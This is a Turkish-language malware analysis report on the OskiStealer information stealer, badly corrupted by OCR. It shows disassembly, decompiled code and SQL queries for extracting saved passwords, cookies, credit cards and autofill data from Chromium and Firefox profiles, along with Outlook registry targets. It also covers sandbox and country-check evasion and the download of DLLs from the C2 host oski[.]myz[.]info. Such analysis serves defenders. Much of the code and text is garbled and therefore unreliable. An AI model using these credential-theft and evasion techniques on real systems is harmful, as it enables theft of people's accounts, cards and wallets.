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On Bakis

OskiStealer ilk olarak Kasim 2019’da gorulen Information Stealer turindeki zararli
yazilimdir. Oski kelimesi Iskandinav mitolojisinde Viking Savasgisi, Viking Tanrisi gibi

anlamlara sahiptir.
Bu kotlu amagli yazilimin virus bulagmis bilgisayarlari;

e Web tarayicilarina kaydedilen kredi karti bilgilerine,

o Web tarayicilarina kaydedilen otomatik doldurma bilgilerine,
o Web tarayicilarina kaydedilen ¢erez bilgilerine,

o _Web tarayicilarina kaydedilen kripto cluzdan bilgilerine,

o Bilgisayardaki sistem bilgilerine,

o Kayitli Outlook hesaplariyla ilgili bilgilere,

o Bilgisayarda kayitli kimlik bilgilerine,

e Bilgisayarin ekran goruntusune erisim saglamasina olanak saglamaktadir.
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Stealer.exe Analizi

Adi Stealer.exe

MD5 c98ebalc6b6491eaf7a05618cab679b9

SHA256 9a4949ef95975afceb281a33708ea8bcd90be831112bb2d89e7e3b
ab4a3ell9a

Dosya Turu PE32/EXE

Genel Bakis

incelenen Oski zararlisi galisma aninda RC4 algoritmasi ile sifrelenmis stringleri
¢ozumler. Cozumlenen DLL ve API stringlerirdinamik olarak yuklenir ve kullaniimak
Uzere kaydedilir..Zararlinin tilke kontrolti ve Windows Defender kontrollii yapmasi
saglanir. Kontrollerin-saglanmasi durumunda asil zararl islemlerin.yapildigi fonksiyon
galsir. iglemlerin ardindan ExitProcess API g¢agrilarak program sonlanir.

Zararl’'nin algoritmasi su sekildedir;

dectrypt _func();

dynamic_load();

if ( country check() && windows bypass() )
StealerFunc();

return ExitProcess call(@);

Sekil 1- Zararlnin algoritmasi

Zararl’nin dil kontrolG yapilarak galistiriimasi engellenen ulkeler:

Azerbaycan Rusya Ukrayna

Belarus Kazakistan Ozbekistan

Tablo 1- Dil kontrolii yapilan iilkeler
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Zararli’nin hedefledigi kripto clizdanlar:

Bitcoin
Ethereum
Electrum
Electrum-LTC
ElectronCash
Exodus
MultiDoge
Zcash
DashCore
LiteCoin

Anoncoin
BBQCoin
devcoin
digitalcoin
Florincoin
Franko
Freicoin
GoldCoinGLD
GoldCoin (GLD)
Infinitecoin

Sekil 2- Zararli’nin hedeflédigi Kripto Cizdan, listesi

Zararl’'nin hedefledigi tarayicilar:

Opera

Google Chrome
Chromium
Microsoft Edge
Amigo

Torch

Orbitum

Comodo Dragon
Cyberfox
K-Meleon

Nichrome
Maxthon5
Sputnik

Epic Privacy Browser

Vivaldi

CocCoc Browser
Uran Browser
QIP Surf
BlackHawk
Thunderbird

Sekil 3- Zararli’nin hedefledigi Tarayici listesi

I0Coin
Ixcoin
Megacoin
Mincoin
Mamecoin
Primecoin
Terracoin
YACoin
Jaxx

CentBrowser
Elements Browser
TorBro

CryptoTab

Brave

Mozilla Firefox
Pale Moon
Waterfox

IceCat

Kometa
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Detayh Analiz

' Zararl ilk olarak sifrelenmis stringleri c6zimlemek igin genel bir fonksiyon calistirir.
Bu genel fonksiyon igerisinde RC4 ile sifrelenmis stringler ¢ézimleyici fonksiyona
parametre olarak push edilir. Cozumleyici fonksiyonun donus degeri olarak gelen

orijinal string kullaniimak tzere kaydedilir.

.text:802547F1 push offset aE7@xtvvjatgrou ; "E70xXtVwIATGRGUargg=="
.text:002547F6 call decryption_func ; Call Procedure

.text:0802547FB add esp, 4 3 Add

.text:002547FE mov InternetOpend, eax

.text:90254803 push offset aE7@xtvvjatgdok ; "E70XTVVIATGAGkZrio9Go0=="
.text:00254808 call decryption_func ; Call Procedure

.text:0025480D add esp, 4 ; Add

.text: 00254810 mov InternetConnecth, eax
.text:90254815 push offset aEqcxogbxasumdf ; "EqcXoGbXASuMAFKwjp9GoQ=="
.text:0025481A call decryption_func ; Call Procedure

.text:0025481F add esp, 4 ; Add

.text: 00254822 mov HttpOpenRequesth, eax

Sekil 4- Sifrelenmis stringlerin gozimlenmesi

API Hashing teknigi kullanilarak LoadLibraryA ve GetProcAddress APIl’lerine erigilir.

Cozumlenen stringler ve erigilen APller ile Dynamic AP| Resolving yapilir.

.text: 00249718 mov eax, loadlibraryA

.text:00824971D push eax

.text:0024971E mov ecx, [ebp+handle 1lib] ; kernel32.dll
.text:00249721 push ecx

.text:00249722 call API Hashing ; Call Procedure
.text:08249727 add esp, 8 ; Add

.text:0024972A mov loadlibraryA_call, eax
.text:@824972F mov edx, getprocaddress_str
.text:80249735 push edx

.text:00249736 mov eax, [ebp+handle lib]

.text:00249739 push eax

.text:0024973A call API Hashing ; Call Procedure
.text:0824973F add esp, 8 ; Add

.text:00249742 mov getprocaddress, eax

.text:00249747 mov ecx, dword 2626E8

.text:0024974D push ecx ; _DWORD
.text:0024974E mov edx, [ebp+handle lib]

.text:00249751 push edx ; _DWORD
.text:00249752 call getprocaddress ; Indirect Call Near Procedure
.text: 00249758 mov ExitProcess_call, eax

.text:0824975D0 mov eax, GetUserDefaultlLangID
.text:80249762 push eax ; _DWORD

.text: 00249763 mov ecx, [ebp+handle lib]

.text:00249766 push ecx ; _DWORD
.text:00249767 call getprocaddress ; Indirect Call MNear Procedure
.text:0024976D mov GetUserDefaultLangID call, eax

Sekil 5- API'lerin Dinamik Yiiklenmesi
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Dil kontrolu yapilarak programin belirli Glkelerin insanlarinin bilgisayarlarinda
calismamasi hedeflenmistir. Bu Ulkeler Azerbaycan, Belarus, Kazakistan, Ozbekistan,
Rusya, Ukrayna’'dir. GetUserDefaultLangID API ¢agrilir. Dénus degeri bu Ulkeleri
temsil eden ID’lerden biri ile esitse fonksiyon 0 doéndurir boylece StealerFunc

calismasi engellenir.

int sub_6F4A0()

{
unsigned int langID; // [ el
int var; // [esp+4h] [ebp-8h]
insigned  intl16)GetUserDefaultLangID _call();
D > 0x43F )
langID == 1091 ) Ozbekistan

case Ox43Fu: Kazakistan
var = @;
break;

case @x419u: Rusya
var = 8;
break;

case @x422u: Ukrayna
var = 8;
break;

case @x423u: Belarus
var = 8;
break;

}

}

return var;

+

Sekil 6- Dil kontrolii yapilmasi
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GetComputerNameA API ile bilgisayar ismi alinir ve HAL9TH ile karsilagtirnlir. Eger
eslesme var ise GetUserNameA APl ile kullanici adi alinir ve JohnDoe ile kargilastirilir.
Egder bu eslesme de saglanir ise fonksiyon 0 dondurdr ve StealerFunc calismaz

bdylece Windows Defender bypass edilir.

55 push ebp
8BBEC mov ebp,esp
51 push ecx
C745 FC 01000000 |mov dword ptr ss:[ebp-4],1
Al D4252600 mov eax,dword ptr ds:[2625D4] 00262504 : &"HAL9TH"
50 push eax
ES& CAFBFFFF call malware. 24B2E0Q
50 push eax
ES& DESBFEFF call malware. 2352FA
83C4 08 add esp,8
§5C0 test eax,eax
« 753 20 jne malware. 248743
S8BOD CC262600 mov ecx,dword ptr ds:[2626CC] 002626CC:&" JohnDoe"
51 push ecx
ES& BLFAFFFF call malware. 24B1EQ
50 push eax
ES& C59BFEFF call malware. 2352FA
83C4 08 add esp,8
85C0 test eax,eax
« 7% 07 ine malware.24B743

Sekil 7- Windows Defender Kontrolii

StealerFunc igerisinde, zararli, indirmek istedigi DLL’ler i¢cin C2 sunucusu ile iletisime
gecer. indirmek istedigi 7.farkli DLL dosyasi igin “oski[.]Jmyz[.]Jinfo” sitesine /1.jpg ,
12.jpg, /13.jpg, /4.jpg, /5.jpg, /64pg, [7.jpg dizinlerine istek atarak DLL’leri

C:\ProgramData icerisine kaydeder.

call malware. 251740
mov ecx,dword ptr ss:|[lebp+&l ; [ebp+8]:"oski.myz.info/1.jpg"
ush ecx
ea ecx,dword ptr ss:|ebp-30]
call malware.2311C0
mov dword ptr ss:|lebp-4[,0
push 0
ush malware. 25A00C ; 25A00C:"http:
ea ecx,dword ptr ss:|ebp-30]
call malware.231EEQ

Sekil 8- Third party DLL’leri C2’dan indirme islemi.




A
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' 4l freebl3.dll

Third party olarak indirilen DLL’ler asagidaki gibidir:

4| mozgluedll

4| msvcpl40.dll

4| nss3.dll

= softokn3.dll

4| sqglite3.dll

4| veruntimel140.dll

S&kil 9- Indirilen third party diler

Random sayilardan bir deger olusturulur. Olusturulan deger C:\ProgramData stringinin
sonuna dizin temsil edecek sekilde IstrcatA API ile eklenir. CreateDirectoryA API ile
ProgramData igerisine verilen random. deger isminde bir klasér olusturulur. Olusturulan
klasor icerisine ayni API kullanilarak autofill, cc, cookies, crypto isimlerinde klasorler

olusturulur.

CreateDirectoryA call(programdata rndmsay direc, @);
CreateDirectoryA call(cookies path, 8);
CreateDirectoryA call(cc path, @);

CreateDirectoryA call(zutofill path, @);
CreateDirectoryA _call(crvpto path, @);

Sekil 10- Klasér olusturulmasi

o |-&
o 2 3
@U' » Bilgisayar » Yerel Disk (C)) » ProgramData » 636058210163571 » v | 49 || Ara: 636058210163571 0o
Diizenle ~ Kitapliga ekle Bununla paylag v Yaz Yeni klasor = - i 0

Sik Kullanilanlar

% Karsidan Yuklemeler autofill
BB Masaisto cc
~» Son Yerier cookies
crypto
Kitaoliklar

Sekil 11- Olusturulan klasérler
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SetCurrentDirectoryA API ile program g¢alisma dizinini random sayilardan olusan

klasore getirir. Burada ilk olarak browser ve vault islemleriyle ilgili olan fonksiyon ¢alisir.

”passwords.txt” adinda bir dosya olusturulur. Vault iglemleriyle ilgili olan bir

fonksiyon calisir. Bu fonksiyonda GetVersionExA ile Windows Operating System

versiyonu ogrenilir._“Vaultcli.dll” bellege yutklenir. Vault APFPleri dinamik ¢ézimleme

yapilarak kaydedilir.

mov dword ptr ssilebp-31Cy,U

mov ecx,dword ptr ds:[262504]

push ecx

call dword ptr ds:[<&LoadLibrarya=]
mov dword ptr ss:febp-3eC,eax

cmp dword ptr ss:[ebp-3eBC],0

je malware.24C618

mov edx,dword ptr ds:[2622EC]

push edx

mov eax,dword ptr ss:[ebp-3BC]

push eax

call dword ptr ds:[<&GetProcAddress=]
mov dword ptr ds:[262704],eax

mov ecx,dword ptr ds:[2624A0]

push ecx

mov edx,dword ptr ss:[lebp-3ec]

push edx

call dword ptr ds:[«<&GetProcaddress:]
mov dword ptr ds:[262740],eax

mov eax,dword ptr ds:[2624D4]

push eax

mov ecx,dword ptr ss:febp-3BC]

push ecx

call dword ptr ds:[<&GetProcAddress=]
mov dword ptr ds:[262758],eax

mov edx,dword ptr ds:[2623A8]

push edx

mov eax,dword ptr ss:[febp-3eCh

00262504 :&"

002624A0:&"

00262404 :&"

002623A8:&"

Sekil 12- Vault API'lerin Dinamik Yiiklenmesi

vaultcli.d11”

vaultGetItem"”

002622EC:&"Vaultopenvault”

vaultClosevault™

vaultEnumerateItems”

fopen fonksiyonu ile" passwords.txt /dosyasi. +a modunda agilir. Bilgisayardaki

kullanicilarin parola, sertifika‘gibi kimlik bilgilerine Vault APl’leriyle erisilir, fprintf

fonksiyonu ile hassas veriler passwords.txt dosyasina yazdirilir.

V14 = VaultGetTtem call(vis, v3, v3[5], v2[6], @, @, @, &9);

if (vid )
fprintf(Stream, PASS);
fprintf(Stream, "\n\n"});
;
else
{
WideCharToMultiByte call(®, ©®, *( DWORD *)(v9 + 28) + 32, -1,
fprintf(Stream, PASS yuzde_ s, wll);
fprintf(Stream, "\n\n");

;
VaultFree call(v9);

Sekil 13- Credentials'lara erisilmesi

vil, 256, @, @);
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Sqlite3.dll bellege yuklenir. Sqlite API'leri tarayicilara sql sorgulari atilarak verilerin

elde edilmesinde kullaniimak tzere dinamik olarak bellege yUklenir ve kaydedilir.

mov ebp,esp

movheax,dword ptr ds:[262568] 00262568:&"C: ProgrambData sqlite3.d11"
ush eax

Ea]] dword ptr ds:[<&LoadLibrarya>]
mov dword ptr ds:[26274C],eax

cmp dword ptr ds:[26274C],0

je malware. 24CEFB

mov ecx,dword ptr ds:[26247C] 0026247C:&"sglite3d_open”
push ecx

mov edx,dword ptr ds:[26274C]

push edx

€all dword ptr ds:[=&GetProcAddress=]
mov dword ptr ds:[262750],eax

mov eax,dword ptr ds:[262140] 00262140:&"sglite3_prepare_v2"

push eax

mov ecx,dword ptr ds:[26274C]

push ecx

€all dword ptr ds:[=&GetProcAddress=]

mov dword ptr ds:[262700],eax

mov edx,dword ptr ds:[262408] 00262408:&"sglite3_step”

push edx

mov eax,dword ptr ds:[26274C]

push eax

€all dword ptr ds:[<&GetProcAddress>]

mov dword ptr ds:[262720],eax

mov ecx,dword ptr ds:[2623F0] 002623F0:&"sglite3_column_text”

push ecx

mov edx,dword ptr ds:[26274C]

Sekil 14- Sqlite3 API'leriniDinamik Yiiklenmesi

Zararl tarafindan tarayicilarda Chromium ve Firefox tabanh tarayicilar icgin farkli iki
fonksiyon kullaniimaktadir. Chromium tarayicilar icin yazilan fonksiyonda tarayici ismi

ve User Data klasorunun dizini parametre olarak string sekilde verilir.

call malware. 24C810

mov ecx,dword ptr ds:[2623FE] 002623F8:&"Google Chrome”

push ecx

mov edx,dword ptr ds:[2624F4] 002624F4 : &" Google chrome user pata”
push edx

call malware. 24EABD

add esp,8

mov eax,dword ptr ds:[262200] 00262200:&"Chromium”

push eax

mov ecx,dword ptr ds:[2625E4] 002625E4:&" Cchromium User Data”
push ecx

call malware. 24EABO

add esp,8

mov edx,dword ptr ds:[262288] 00262288:&"Kometa"

push edx

mov eax,dword ptr ds:[26253C] 0026253C:&" Kometa User Data"
push eax

call malware. 24EABQ

add esp,8

mov ecx,dword ptr ds:[2624BE] 002624B8:&"Aamigo”

push ecx

movled{,dword ptr ds:[26246C] 0026246C : &" Amigo User Data"

Sekil 15- Hedeflenen tarayicilardan bazilari
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SHGetFolderPathA kullanilarak APPDATA klasorandn dizini alinir, dizinin sonuna
tarayicinin ve igindeki User Data klasorunun dizini IstrcatA API ¢agrilarak birlegtirilir.
Tekrardan IstrcatA APl cagrilarak bu dizinin sonuna Local State stringi eklenir.
Boylece Local State dosyasinin mutlak dizini elde edilir. Local State dosyasinin mutlak
dizini GetFileAttributesA API'sine parametre olarak verilir, donus dederi olarak Local
State dosyasinin 6zniteligini alir.

“le

memset(path, @, @x104u);
APPDATA_path_writes(path, 28);

lstrcatA call{path, GoogleChromeUserData);

memset(Filellame, @, 0x184u);

lstrcatA call(FileName, path);

lstrcatA_call(FileName, "\\Local State");

if ( file_attributes(Filetzme) && lenc_key_and DPAPI((int)Filelame, (int)&vs, (int)&ve) )
sub_24CACO(&v5, &v6);

sub_24E640( (int)&unk_259446, (int)path, GoogleChrome, w5, v6);

return sub_24CACO(&vS5, &vb);

Sekil 16- Zararlinin Local State dosyasi ile encrypted key'e ulasma ve zararli islemleri gerceklestirme algoritmasi

?ush edx

ed eax,dword ptr s5:|febp-220]

push eax eax: "C:\\Users' R\ AppData\\Local coogle\\\\Chrome\\\\User Data\\Local State"
€all dword ptr ds:[<&lstrcat=]

ﬁ:ush malware, 259CF4 259CF4:"\\Local state”

ea ecx,dword ptr ss:[[ebp-220]

Sekil 17- Local State dosyasinimmutlak dizininin debuggerdaki gorintuisd

Enc_key and_DPAPI adi verdigimiz fonksiyon Local State dosyasi icindeki verileri
CreateFileA ve ReadFileA APT’leri ile okuduktan sonra LocalAlloc APl ile heap bellekte
ayrilan alana kaydeder. Bu alan igerisinden daha sonra User Data klasorundeki
dosyalarda bulunan DPAPI ile sifrelenmis verileri ¢ozimlemek igin gerekli olan

ecrypted key’e erismek istenir.

data from file = (char *)data_to_localalloc( data, size};
if ( data_from file )

_from_file, "\"os_crypt\":{\"encrypted_key\":\"");

ecrypted_key += 29;
sub_2311CA(v6, ecrypted key);
vi6 = 0;

v5 = sub 231EE@(v6, "\"}", @);

Sekil 18- Local State dosyasi icerisinden encrypted_key'e ulasiimasi }




Tarayicidan bilgilerin alindigi fonksiyonda “C:\ProgramData\AppData\Local\Tarayici
Adi\User Data\** seklinde FindFirstFileA APl ¢agrisi ile User Data icerisindeki dosya

ve klasorlerin hepsine erigilmek istenmigtir. APl ¢agrisindan sonra return degerinin
INVALID_HANDLE_VALUE olup olmadigi kontrol edilir. Eger handle degeri var ise
dosya adinin sirayla Login Data, Cookies, Web Data olup olmadigi kontrol edilir.
Eslesen dosya isimlerine gore hangi fonksiyonun calisacagi belirlenir. Bu U¢ farkli
dosya icin farkl farkli fonksiyonlar kullanilir. Kullanilan fonksiyonlarin sonunda
Ozyinelemeli olarak ana fonksiyon tekrar kendini ¢agirir. Do.While ‘[dongusu icerisinde
FindNextFileA APl cagrilarak klasordeki dosyalar boyunca bu islemlertekrarlanir
ardindan. FindClose APl ile handle kapatilir.

result = FindFirstFileA call(aranan_dosyalar_mutlak_dizini, dosya_icerigi);
handle_file = result;
if ( result I= -1 )
{
do
{
if ( stremp(Stringl, ".") & strcmp(Stringl, "..") )
{
wsprintfA_call(dosya_mutlak dizini, yuzde_s_ters_slash_yuzde_s, userdata_path, Stringl);
if ( !_stricmp(Stringl, Login_Data) )
{
Login Data ops(al, (int)dosya mutlak d
recursive_fnc({int)Stringl, (int)dosya_mut
else if ( ! _stricmp(Stringl, Cookies) )
{
Cookies_ops((int)dosya_mutlak_dizini, al, googlechrome,
recursive_fnc{{int)Stringl, (int)dosya_mutlak_dizini, g
else if ( | stricmp(Stringl, Web Data) )
{
Web_Data_credit_cart_ops((int)
Web_Data_autofill ops({int)dosya_i
recursive_fnc((int)Stringl, (int)d
i
else if ( (dosya_icerigi[@] & 8x18) != @ )
{
recursive fnc((int)Stringl, (int)dosya mutlak dizini, googlechrome, a4, a5);
b
}
while ( FindMextFileA_call(handle_file, dosya icerigi) );
result = FindClose_call(handle file};
¥

return result;

Sekil 19- Zararlhnin tarayicida hedefledigi dosyalari aramasi ve ilgili fonksiyonlari ¢alistirmasi
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Login Data kosulu saglanirsa GetCurrentDirectoryA API gagdrisi ile parametre olarak
verilen alan igerisine anlik dizin yazdirilir. IstrcatA API ile sonuna “\temp” stringi
eklenir. CopyFileA API ¢agrisi ile Login Data dosyasi yeni olusturulan temp dosyasina
kaydedilir. sqlite3<0pen API ile database baglantisi kurulur. sqlite3 prepare_v2 API
cagrisi ile "SELECT origin_url, username_value, password_value FROM logins"
SQL sorgusu Login Data dosyasina atilir. Cagri basarili olursa passwords.txt dosyasi
a+ modunda aglilir. sqlite3_step APl'ye, donen'SQL cevabi parametre olarak verilir.
sqlite3_column_text, _sglite3_column_blob, sqglite3.column_bytes AP[lleri
kullantlarak ayrilir ve daha sonra passwords.txt dosyasinin igerisine PROF, SOFT,
HOST, USER, PASS ve karsilarina SQL’den donen degerlergelecek sekildeyazilir.
sqlite3_finalize APl c¢agrilarak sqlite3 _prepare_v2 ve diger APller ile yapilan
prepared statements’lar silinir. sqlite3_close API ile database baglantisi kapatilir.
DeleteFileA APLile SQL sorgusu gerceklestirilen temp dosyasi silinir.

SELECT origin_url, username_value, password_value FROM logins

if ( !sqlite3_open_call( , &db) )

{
if ( !sqlite3_prepare_v2 call(db, select sql, -1, &sql return, 9) )
{
= fopen(passwords_nokta_txt, mode_a_arti);
if ( )}
{
while ( sglite3_step_call( } == 180 )
{

= sglite3d column text call( . 8);
= (const char *)sglite3_column_text _call( , 1);
= sqglite3_column_bytes_call( , 2);
= (void *)sqlite3_column_blob_call( » 2);

sub_24D730((int)vie, R » , s
:6_;

if ( !stremp((const char *)sub_2313308¢( )}, (const char *)&unk_25942E) )

{

if ( stremp( , (const char *)8&unk_25942F) )
{

fprintf( , PROF_yuzde_s, };
fprintf( > "\n");
fprintf( , SOFT_yuzde_s, };
fprintf( > "\n");
fprintf( , HOST_yuzde_s, );
fprintf( > "\n");
forintf( . USER vuzde s, ¥z

Sekil 20- Zararlinin Login Data dosyasindaki verileri SQL sorgusu ile elde etmesi
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Cookies kosulu saglanirsa ayni sekilde bir temp dosyasi olusturulup Cookies dosyasi

buraya kopyalanir. sqlite3_open APl ile database baglantisi kurulur.
sqlite3_prepare_v2 API ile "SELECT HOST_KEY, is_httponly, path, is_secure,
(expires_utc/1000000)-11644480800, name, encrypted_value from cookies™ SQL
sorgusu atilir./ Cookies klasorunun igerisinde tarayicinin ismine gore olusturulan
dosyaya sqlite3_step, sqglite3_column_text, sqglite3_column_bytes,
sqlite3_column_blob APlleri _kullanilarak “wyazilir. islemler’ bittikten sonra
sqlite3_finalize APl cagriarak sqlite3 prepare_v2 ve diger APller ile yapilan
prepared statements’lar silinir. sqlite3_close API ile database baglantisi kapatilir.
DeleteFileA APl ile SQL sorgusu gerceklestirilen temp dosyasi silinir.

SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-
11644480800, name, encrypted_value from cookies

GetCurrentDirectoryA_call(26@, v17);
IstrcatA call(vl7, ters slaslar temp);
CopyFileA_call(al, v17, 1);
memset(Filellame, @, Bx184u);
wsprintfA_call(Filellame, cookies_s_s_txt, a3, &2);
cookie =gl = select from cookies str;
if ( !sglite3 open_call(vl7, &v21) )
{
if ( !sglite3 prepare v2 call(v21l, cookie sql, -1, &v19, @) )
{
Stream = fopen(FilelMame, Mode);
if ( Stream )
{
while ( sglite3 step_call(v19) == 168 )

sqlited column_text call(viZ, @);

(const char *)sglite3_column_text_call(v1g, 1};
sglite3 column_text call(vio, 2};

(const char *)sglite3 column_text call(vi2, 3);
(_DWORD *)sqlite3_column_text_call(vl9, 4);
sqlite3 column_text call(viZ, 5);

Sekil 21- Zararlinin Cookies dosyasindaki verileri SQL sorgusu ile elde etmesi
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Web Data kosulu saglanirsa 6zyineleme fonksiyonu disinda iki fonksiyon galisir. ilk

fonksiyon kredi karti bilgilerini hedeflerken ikinci fonksiyon autofill (otomatik doldurma)
bilgilerini hedef almaktadir. Kredi kartlarinin hedef alindigi fonksiyonda Login Data ve
Cookies kisminda bahsedilen APl'ler kullanilarak "SELECT 'name_on_card,
expiration_month, expiration_year, card_number_encrypted FROM
credit_cards"™ SQL sorgusu atilir. SQL sorgusundan dénen cevap ayristirilarak cc
klasorinUn igine tarayici ismi ile_olusturulan dosyaya card, name, date seklinde
yazilir. Prepared statements ve database baglantisi sonlandirilir. DeleteFileA API ile

SQL sorgusu gerceklestirilen temp dosyasi silinir.

SELECT name_on_card, expiration_month, expiration_year,
card_number_encrypted FROM credit_cards

cc_sgl = select_cc_from_credit_cards;
if ( !sqlite3 open_call(vl4, &v18) )

{
if ( !sglite3_prepare_v2 call(vl8, cc_sql, -1, &vic, @) )
{
Stream = fopen(Filellame, Mode);
if { Stream )
{
while ( sglite3 step call(vic) == 108 )
{
name = sglite3 column_text call({vic, @);
datel = sqlite3_column_text_call(vis, 1);
date? = sglite3 column_text call(vic, 2);
v8 = sglite3_column_bytes_call(vic, 3);
v5 = (void *)sglite3 column_blob_call{vis, 3};
v9 = sub_24D73@((int)v19, v5, v8, a4, a5);
card = sub_231338(v9);
fprintf(Stream, card_name_date, card, name, datel, datel);
sub_231208(v19);
fprintf(Stream, "\n\n");
}
fclose(Stream);
}
}

sglite3 finalize call(:i6);

Sekil 22- Zararlinin Web Data dosyasindaki verileri SQL sorgusu ile elde etmesi
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Autofill hedeflenen fonksiyonda ayni iglemler gerceklestirilir. "SELECT name, value
FROM autofill" SQL sorgusu gergeklestirilir. Sorgunun dondurdugu veriler ayristirilip
autofill klasoérlinin iginde tarayici ismiyle olusturulan dosyaya yazdirilir. Prepared
statements ve database baglantisi sonlandirilir. SQL sorgusu gergeklestirilen temp

dosyasi DeleteFileA API ile silinir.

SELECT name, value FROM autofill

GetCurrentDirectoryA call(260, temp file);
lstrcatA call(temp file, ters_slaslar temp);
CopyFileA call(al, temp file, 1);
memset(Filelame, @, @x104u};
WSpPlnth call(F__hI ame, yuzde_s_tab_vyuzde_s, a3, a2);
autofill =gl = select_name_value_from_ autoflll
if ( |5q11te3 open_call(temp_file, &v11) )
{
if ( !sglite3 prepare v2 call(vll, avtofill =sgl, -1, &v9, @) )
{
Stream = open(F_L:I me, Mode);
if { Stream )
{
while ( sqlite3_step_call(v9) == 100 )
{

v5 sglite3_column_text call(ve, @);
3 sglited_column_text _call(ve, 1);

prlntf(“ ream, Format, v5, v3);
fprintf(Stream, "\n");

}

fclose(Stream);

h

Sekil 23- Zararlnin Autfoill dosyasindaki verileri SQL sorgusu ile elde etmesi

Firefox tabanh tarayicilar igin yazilan fonksiyonda Chromiumdan farkl olarak Local
State dosyasi yerine Profiles dosyasi bulunmaktadir. SHGetFolderPathA API ile
APPDATA dizini alinir. Mozilla\Firefox\Profiles dizini APPDATA’nin sonuna IstrcatA
API ile eklenir. Tekrar IstrcatA API ile \profiles.ini dizini eklenir. Béylece profiles.ini
dosyasinin mutlak dizini string olarak tutulur. GetFileAttributesA API ile dosyanin

Ozniteligini dondurur.




profiles.ini dosyasi var ise nss3.dll bellege yuklenir ve ilgili APl'ler dinamik olarak
yuklenir. Eger API yuUklemeleri basarih ise dosya isimlerinin cookies.sqlite,
formhistory, logins.json olup olmadigi kontrol edilir. Cookies ve history igin
Chromiumdaki fonksiyonlarin neredeyse aynisi kullanilir. Cookies igin "SELECT host,
isHttpOnNly, path, isSecure, expiry, name, value FROM moz_cookies™ sorgusu
atilir. History icin ise "SELECT fieldname, value FROM moz_formhistory" sorgusu

atilir. Donen cevaplar ilgili text dosyalarina yazdirilir.

SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
SELECT fieldname, value FROM moz_formhistory

Logins.json dosyast icin sqlite3.dll APl'leri yerine GetPrivateProfileSectionNameA,
NSS_Init, fseek, fread gibi fonksiyonlar ile -aranmaktadir. nss3.dll igerisindeki
PK11_Authenticate, PK11SDR. Decrypt gibi API'ler kullanilarak sifrelenmis parolalar
coziimlenerek passwords.txt dosyasina eklenmektedir. islemlerden sonra nss3.dll
FreeLibrary APl ile adres boslugundan kaldirilir.

Cif {( stremp(Stringl, ".") && stremp(Stringl, ".."} )
{
wsprintfA_call(v4, "%s\\%s", Buffer, Stringl);
if ( ! stricmp(Stringl, cookies nokta sqlite) )
1
cookies ops((int)vd, al, ai);
recursive ((int)Stringl, v4, a3);
b
else if ( ! stricmp(Stringl, formhistory_sqglite} )
{
formhistory sqlite ops((int)v4d, &al, a3);
recursive_((int)Stringl, v4, a3);
¥
else if ( ! stricmp(Stringl, logins_nokta json) )
{
logins json _ops(zal, a3, Buffer);
recursive ((int)Stringl, vd4, a3);
¥
else if ( (v5[0] & 8x18) !=0 )
{
recursive ((int)Stringl, v4, a3);
¥

Sekil 24- Zararlhnin Firefox tabanli tarayicilardaki verileri elde etme algoritmasi




Tarayici iglemleri tamamlandiktan sonra SetCurrentDirectoryA API ile programin
bulundugu dizin C:\ProgramData icerisindeki random sayilarla olusturulan klasore
getirilir. Programin siradaki hedefi Outlook verileridir. Outlook ile ilgili fonksiyonda

Windows Kayit Defterindeki Outlook dizinleri bu fonksiyona parametre olarak verilir.

"Software\\\\Microsoft\\\\Windows NT\\\\Currentversion\\\\Windows Messaging Subsystem\\\\Profiles\\\\Outlook\\\\9375CFF@413111d3B338A0@104B2A6676\\\\00000001"
"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows Messaging Subsystem\\\\Profiles\\\\Outlook\\\\9375CFF@413111d3B338A0@104B2A6676\\\\00000002"
"software\\\\Microsoft\\\\Windows NT\\\\Currentversion\\\\Windows Messaging Subsystem\\\\Profiles\\\\outlook\\\\9375CFFe413111d3B88Aee104B2A6676\\\\eeeeeea3"
"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows Messaging Subsystem\\\\Profiles\\\\Outlook\\\\9375CFF@413111d3B88AB@104B2A6676\\\\0eR00EERA"
"Software\\\\Microsoft\\\\office\\\\13.0\\\\outlook\\\\Profiles\\\\outlook\\\\9375CFF@413111d3B38A0Q104B2A6676\\\\00000001"
"Software\\\\Microsoft\\\\office\\\\13.0\\\\outlook\\\\Profiles\\\\Outlook\\\\9375CFF@413111d3B88A0@104B2A6676\\\\00000002"
"Software\\\\Microsoft\\\\office\\\\13.@\\\\outlook\\\\Profiles\\\\outlook\\\\9375CFF@413111d3B88ARR104B2A6676\\\\eeR0RRE3"
"software\\\\Microsoft\\\\office\\\\13.@\\\\Outlook\\\\Profiles\\\\outlook\\\\9375CFF@413111d3B88ARA104B2A6676\\\\00000004"
"Software\\\\Microsoft\\\\office\\\\14.0\\\\outlook\\\\Profiles\\\\outlook\\\\9375CFF@413111d3B38A0Q104B2A6676\\\\00000001"
"Software\\\\Microsoft\\\\office\\\\14.0\\\\outlook\\\\Profiles\\\\Outlook\\\\9375CFF@413111d3B88A0@104B2A6676\\\\00000002"
"Software\\\\Microsoft\\\\office\\\\14.@\\\\outlook\\\\Profiles\\\\outlook\\\\9375CFF@413111d3B88ARR104B2A6676\\\\e0R0RRE3"
"Software\\\\Microsoft\\\\Office\\\\14.@\\\\Outlook\\\\Profiles\\\\Outlook\\\\9375CFF@413111d3B88ARR104B2A6676\\\\000E00Q0L"
"Software\\\\Microsoft\\\\office\\\\15.0\\\\outlook\\\\Profiles\\\\outlook\\\\9375CFF@413111d3B38A00104B2A6676\\\\00000001"
"Software\\\\Microsoft\\\\office\\\\15.0\\\\outlook\\\\Profiles\\\\Outlook\\\\9375CFF@413111d3B88A0@104B2A6676\\\\00000002"
"Software\\\\Microsoft\\\\office\\\\15.0\\\\outlook\\\\Profiles\\\\Outlook\\\\9375CFF@413111d3B88AR0104B2A6676\\\\00000003"
"Software\\\\Microsoft\\\\office\\\\15.0\\\\outlook\\\\Profiles\\\\outlook\\\\9375CFF@413111d3B38A0Q104B2A6676\\\\00000004"
"Software\\\\Microsoft\\\\office\\\\16.0\\\\outlook\\\\Profiles\\\\outlook\\\\9375CFF@413111d3B38A00104B2A6676\\\\00000001"
"Software\\\\Microsoft\\\\office\\\\16.0\\\\outlook\\\\Profiles\\\\Outlook\\\\9375CFF@413111d3B88A0@104B2A6676\\\\00000002"
